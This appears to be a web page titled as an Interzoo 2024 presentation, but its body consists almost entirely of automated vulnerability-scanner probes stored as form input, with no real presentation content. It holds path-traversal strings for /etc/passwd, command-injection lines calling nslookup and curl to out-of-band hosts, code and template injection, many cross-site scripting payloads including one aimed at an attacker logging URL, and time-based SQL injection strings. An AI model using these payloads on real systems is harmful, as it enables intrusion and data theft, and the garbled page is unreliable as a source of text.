Presentation at the Interzoo 2024 World Fair

1

1

1

1

555

555

555

555

555

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1D2kzNG4vLO

1

1

1

QRGjqZoK

1

1

1

1

sxV1lBR9: FpVWAWJ6

1

1

1

1

1

1

1

response.write(9559191*9474196)

'+response.write(9559191*9474196)+'

../../../../../../../../../../../../../../etc/passwd

1

"+response.write(9559191*9474196)+"

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

1

../1

1

1

1

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

1

1

${9999211+9999038}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n945139=v989111

1

1

1

1

1

)

1

!(()&&!|*|*|

1

1

1

1

echo cbdykg$()\ uurwje\nz^xyu||a #' &echo cbdykg$()\ uurwje\nz^xyu||a #|" &echo cbdykg$()\ uurwje\nz^xyu||a #

&echo rqgtgz$()\ zhrlpm\nz^xyu||a #' &echo rqgtgz$()\ zhrlpm\nz^xyu||a #|" &echo rqgtgz$()\ zhrlpm\nz^xyu||a #

^(#$!@#$)(()))******

1

1&echo fttkbv$()\ jgqtou\nz^xyu||a #' &echo fttkbv$()\ jgqtou\nz^xyu||a #|" &echo fttkbv$()\ jgqtou\nz^xyu||a #

1

1

1

1

1

1

1

1

1

|echo owlats$()\ iixrmo\nz^xyu||a #' |echo owlats$()\ iixrmo\nz^xyu||a #|" |echo owlats$()\ iixrmo\nz^xyu||a #

1

1|echo exugts$()\ qpabaw\nz^xyu||a #' |echo exugts$()\ qpabaw\nz^xyu||a #|" |echo exugts$()\ qpabaw\nz^xyu||a #

1

'"()

1

1'&&sleep(27*1000)*flixix&&'

(nslookup -q=cname hitrvztrcwdxve693f.bxss.me||curl hitrvztrcwdxve693f.bxss.me))

1

1"&&sleep(27*1000)*cutlvn&&"

1

1'||sleep(27*1000)*zgpbrr||'

$(nslookup -q=cname hitfjeqtkvpwbced93.bxss.me||curl hitfjeqtkvpwbced93.bxss.me)

'.gethostbyname(lc('hitzz'.'ivopitza3f505.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(84).chr(98).chr(86).'

1

1

&nslookup -q=cname hitcycrmyqyemd0b92.bxss.me&'\"`0&nslookup -q=cname hitcycrmyqyemd0b92.bxss.me&`'

".gethostbyname(lc("hitfs"."vlgcnchq356d0.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(78).chr(100).chr(73)."

1

1"||sleep(27*1000)*jzmweq||"

gethostbyname(lc('hitai'.'qpasrjcqfd0d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(89).chr(101).chr(88)

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

bxss.me/t/xss.html?%00

1

&(nslookup -q=cname hitfjxijdndnx316f2.bxss.me||curl hitfjxijdndnx316f2.bxss.me)&'\"`0&(nslookup -q=cname hitfjxijdndnx316f2.bxss.me||curl hitfjxijdndnx316f2.bxss.me)&`'

1

|(nslookup -q=cname hitfxoqpkqtfa3af87.bxss.me||curl hitfxoqpkqtfa3af87.bxss.me)

`(nslookup -q=cname hitonqwrqvqwq9599a.bxss.me||curl hitonqwrqvqwq9599a.bxss.me)`

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

";print(md5(31337));$a="

Http://bxss.me/t/fit.txt

;(nslookup -q=cname hitvhumzmrznae7b1d.bxss.me||curl hitvhumzmrznae7b1d.bxss.me)|(nslookup -q=cname hitvhumzmrznae7b1d.bxss.me||curl hitvhumzmrznae7b1d.bxss.me)&(nslookup -q=cname hitvhumzmrznae7b1d.bxss.me||curl hitvhumzmrznae7b1d.bxss.me)

http://bxss.me/t/fit.txt%3F.jpg

${@print(md5(31337))}

/etc/shells

|(nslookup${IFS}-q${IFS}cname${IFS}hitdpqcxmmxkx4e1d9.bxss.me||curl${IFS}hitdpqcxmmxkx4e1d9.bxss.me)

${@print(md5(31337))}\

../../../../../../../../../../../../../../etc/shells

'.print(md5(31337)).'

&(nslookup${IFS}-q${IFS}cname${IFS}hitavhhnjqtum57ce1.bxss.me||curl${IFS}hitavhhnjqtum57ce1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitavhhnjqtum57ce1.bxss.me||curl${IFS}hitavhhnjqtum57ce1.bxss.me)&`'

c:/windows/win.ini

1

bxss.me

1

1

"+"A".concat(70-3).concat(22*4).concat(120).concat(79).concat(108).concat(89)+(require"socket" Socket.gethostbyname("hitqr"+"qfhaxwghf64a9.bxss.me.")[3].to_s)+"

1

'+'A'.concat(70-3).concat(22*4).concat(112).concat(84).concat(106).concat(88)+(require'socket' Socket.gethostbyname('hitqf'+'gtqvsedra0894.bxss.me.')[3].to_s)+'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'A'.concat(70-3).concat(22*4).concat(99).concat(78).concat(106).concat(83)+(require'socket' Socket.gethostbyname('hitvv'+'qfujncis5706b.bxss.me.')[3].to_s)

1

1

1

1

1

1

1

1

1

1

1

1

1

https://www.fencee.eu/

1

1

https://redirtest.acx/

'"

www.fencee.eu

1

redirtest.acx

<!--

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<zzz><ScRiPt >fqxV(9539)</ScRiPt>

'"()&%<zzz><ScRiPt >fqxV(9804)</ScRiPt>

19059143

bfg5571%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5571

bfgx2768%C0%BEz1%C0%BCz2a%90bcxhjl2768

<%={{={@{#{${dfb}}%>

1

1

<th:t="${dfb}#foreach

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<ScRiPt >fqxV(9765)</ScRiPt>

1<WXMWPD>PMTOR[!+!]</WXMWPD>

1<script>fqxV(9477)</script>

1<script>fqxV(9681)</script>9681

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%66%71%78%56%28%39%30%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1<ScRiPt >fqxV(9061)</ScRiPt>

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9351></ScRiPt>

1<ScRiPt >fqxV(9501)</ScRiPt>

1<isindex type=image src=1 onerror=fqxV(9731)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9279'>

1<body onload=fqxV(9841)>

1<img src=//xss.bxss.me/t/dot.gif onload=fqxV(9674)>

1<img src=xyz OnErRor=fqxV(9091)>

1<img/src=">" onerror=alert(9469)>

1

%31%3C%53%63%52%69%50%74%20%3E%66%71%78%56%289667%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\fqxV(9658)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;fqxV(9206)&lt;/sCripT&gt;

1<input autofocus onfocus=fqxV(9756)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1}body{zzz:Expre/**/SSion(fqxV(9818))}

1

1FWf9l <ScRiPt >fqxV(9319)</ScRiPt>

1<W963BF>4V2A8[!+!]</W963BF>

1<ifRAme sRc=9241.com></IfRamE>

1FWf9l <ScRiPt >fqxV(9319)</ScRiPt>

1<aeP27iT x=9251>

1<img sRc='http://attacker-9573/log.php?

1<aC74sUA<

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1OD4ouTRU

1

-1 OR 2+18-18-1=0+0+0+1 --

-1 OR 2+509-509-1=0+0+0+1

-1' OR 2+588-588-1=0+0+0+1 --

-1' OR 2+603-603-1=0+0+0+1 or 'YA4WMYYf'='

-1" OR 2+334-334-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1y4mTzH3N'; waitfor delay '0:0:15' --

1-1 OR 279=(SELECT 279 FROM PG_SLEEP(15))--

1-1) OR 986=(SELECT 986 FROM PG_SLEEP(15))--

1-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))--

1zj0yZw4G' OR 658=(SELECT 658 FROM PG_SLEEP(15))--

1vxv5cPKD') OR 712=(SELECT 712 FROM PG_SLEEP(15))--

19e2puUp9')) OR 522=(SELECT 522 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@70xxP

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<zzz><ScRiPt >e1fv(9568)</ScRiPt>

1

1

'"()&%<zzz><ScRiPt >e1fv(9130)</ScRiPt>

19733167

1

bfg6653%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6653

1

1

bfgx10661%C0%BEz1%C0%BCz2a%90bcxhjl10661

1

<%={{={@{#{${dfb}}%>

1

1

1

<th:t="${dfb}#foreach

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1

1

1

dfb{{98991*97996}}xca

1

dfb[[${98991*97996}]]xca

1

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1<ScRiPt >e1fv(9775)</ScRiPt>

1<WKNHNO>0MF0R[!+!]</WKNHNO>

1

1<script>e1fv(9829)</script>

1

1<script>e1fv(9204)</script>9204

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%65%31%66%76%28%39%37%33%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1

1<ScRiPt >e1fv(9857)</ScRiPt>

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9849></ScRiPt>

1

1<ScRiPt >e1fv(9482)</ScRiPt>

1

1<isindex type=image src=1 onerror=e1fv(9880)>

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9543'>

1<body onload=e1fv(9422)>

1<img src=//xss.bxss.me/t/dot.gif onload=e1fv(9796)>

1

1

1

1<img src=xyz OnErRor=e1fv(9465)>

1

1<img/src=">" onerror=alert(9806)>

%31%3C%53%63%52%69%50%74%20%3E%65%31%66%76%289607%29%3C%2F%73%43%72%69%70%54%3E

1

1\u003CScRiPt\e1fv(9125)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;e1fv(9315)&lt;/sCripT&gt;

1

1<input autofocus onfocus=e1fv(9407)>

1

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1

1

1

1

1}body{zzz:Expre/**/SSion(e1fv(9562))}

1

1kZOKM <ScRiPt >e1fv(9674)</ScRiPt>

1

1<WLB8KH>04MQN[!+!]</WLB8KH>

1

1<ifRAme sRc=9225.com></IfRamE>

1<afE1rhl x=9349>

1<img sRc='http://attacker-9295/log.php?

1<auqIDj9<

1

1

1'"()&%<zzz><ScRiPt >frhA(9658)</ScRiPt>

'"()&%<zzz><ScRiPt >frhA(9279)</ScRiPt>

1

19347150

1

bfg8171%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8171

bfgx2920%C0%BEz1%C0%BCz2a%90bcxhjl2920

1

<%={{={@{#{${dfb}}%>

1

1

<th:t="${dfb}#foreach

1

1

1

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1

1

dfb{{98991*97996}}xca

1

dfb[[${98991*97996}]]xca

1

dfb__${98991*97996}__::.x

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<ScRiPt >frhA(9575)</ScRiPt>

1

1

1<WZS1SP>LDFLY[!+!]</WZS1SP>

1

1

1<script>frhA(9518)</script>

1<script>frhA(9097)</script>9097

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%66%72%68%41%28%39%30%34%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1<ScRiPt >frhA(9057)</ScRiPt>

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9417></ScRiPt>

1

1<ScRiPt >frhA(9663)</ScRiPt>

1

1<isindex type=image src=1 onerror=frhA(9712)>

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9923'>

1

1

1<body onload=frhA(9291)>

1

1

1<img src=//xss.bxss.me/t/dot.gif onload=frhA(9755)>

1

1<img src=xyz OnErRor=frhA(9685)>

1

1

1<img/src=">" onerror=alert(9795)>

1

1

%31%3C%53%63%52%69%50%74%20%3E%66%72%68%41%289766%29%3C%2F%73%43%72%69%70%54%3E

1

1\u003CScRiPt\frhA(9473)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;frhA(9039)&lt;/sCripT&gt;

1

1

1

1

1<input autofocus onfocus=frhA(9986)>

1

<a HrEF=http://xss.bxss.me></a>

1

<a HrEF=jaVaScRiPT:>

1}body{zzz:Expre/**/SSion(frhA(9656))}

1OQvL3 <ScRiPt >frhA(9191)</ScRiPt>

1<W3LO9H>FXX68[!+!]</W3LO9H>

1<ifRAme sRc=9667.com></IfRamE>

1<aJQfWck x=9434>

1<img sRc='http://attacker-9097/log.php?

1<akF7WZ1<